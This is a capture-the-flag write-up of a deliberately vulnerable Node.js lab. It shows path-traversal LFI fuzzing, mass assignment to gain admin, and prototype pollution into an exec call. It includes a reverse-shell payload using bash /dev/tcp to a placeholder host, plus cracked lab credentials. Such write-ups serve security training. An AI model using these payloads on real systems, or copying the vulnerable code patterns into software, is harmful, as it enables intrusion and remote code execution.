Day 11 Challenge Writeups



Vulnbydefault Day 11 Writeup
On opening the site we have given this site
Lets register a account
On dashboard we have given this interface
Flag 1
Lets check the source of this page
Image request has lfi lets check it using ffuf
intercept the request
Copy to file
Modify the file to make it according to ffuf format
ffuf -request images.req -request-proto http -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
Lets check for /etc/passwd file
Now lets check for source
If we check the register endpoint
// Registration endpoint
app.post('/register', async (req, res) => {
try {
// Directly using all data from req.body without filtering
const userData = req.body;
if (!userData.username || !userData.password || !userData.email) {
return res.render('register', { error: 'All fields are required' });
}
// Create new user with unfiltered data - vulnerable to mass assignment
const user = new User(userData);
console.log(user);
await user.save();
res.redirect('/login');
} catch (err) {
// Check for duplicate key error (e.g., username already exists)
if (err.code === 11000) {
res.render('register', { error: 'Username or email already exists' });
} else {
res.render('register', { error: err.message });
}
}
});
Lets check for User()
const User = require('./models/user');
/image?name=....//....//....//....//proc/self/cwd/models/user.js
so we can use isAdmin in register request and use mass assignment vulnerability
Admin user created
Flag 2
Admin panel interface
Lets review source code of login endpoint
// login endpoint
app.post('/login', async (req, res) => {
const credentials = req.body;
try {
const hashedPassword = crypto
.createHash('sha256')
.update(credentials.password)
.digest('hex');
const userQuery = {
username: credentials.username
};
const user = await User.findOne(userQuery);
mergeUtils.merge(userQuery, credentials);
console.log('Login attempt with query:', userQuery);
console.log('Found user:', user);
if (user && user.password === hashedPassword) {
req.session.user = {};
mergeUtils.merge(req.session.user, user.toObject());
console.log('Session user after merge:', req.session.user);
// Add command execution here
if (req.session.user.cmd) {
exec(req.session.user.cmd, (error, stdout, stderr) => {
if (error) {
console.error('Exec error:', error);
return res.status(500).json({ error: error.message });
}
return res.json({
success: true,
output: stdout,
user: req.session.user
});
});
return;
}
if (req.is('json')) {
return res.json({
success: true,
user: req.session.user
});
}
return res.redirect('/');
}
if (req.is('json')) {
return res.status(401).json({ error: 'Invalid credentials' });
}
res.render('login', { error: 'Invalid credentials' });
} catch (err) {
console.error('Login error:', err); // Debug log
if (req.is('json')) {
return res.status(500).json({ error: err.message });
}
res.render('login', { error: err.message });
}
});
In source code we can check that its using merge function with user data
mergeUtils.merge(userQuery, credentials);
This give us idea of prototype pollution
I have added this stuff to make it easy for remote code execution
// Add command execution here
if (req.session.user.cmd) {
exec(req.session.user.cmd, (error, stdout, stderr) => {
if (error) {
console.error('Exec error:', error);
return res.status(500).json({ error: error.message });
}
return res.json({
success: true,
output: stdout,
user: req.session.user
});
});
return;
}
We should have cmd in our session we would use prototype pollution to achieve that stuff
{
"username":"Sulitech",
"password":"123",
"__proto__": {
"cmd":"sleep 5"
}
}
we can see that our payload got executed
Lets make payload for reverse shell
{"username":"Suiltech","password":"123",
"__proto__":{
"shell":true,
"cmd":"bash -c 'bash -i >& /dev/tcp/ngrokip/port 0>&1'"
}}
27017 is related to mongodb
Lets check it using mongosh
Flag 3
Lets check users collection
af1022408720d04585c29839ff403feb840856701b4a71bff7dad6308c984ff8
go to hashes.com
user.txt
developer:spongebobsquarepants
Lets check the crontab for user
root.txt
we have got root password
root:r00tm3ikn0wy0uc4n
Summary
- get lfi from images endpoint
- review source code of register
- use mass assignment to get admin
- check login endpoint it has merge function used
- prototype pollution and end goal is to make cmd in session
- check mongodb for developer password
- check crontab of developer to get root password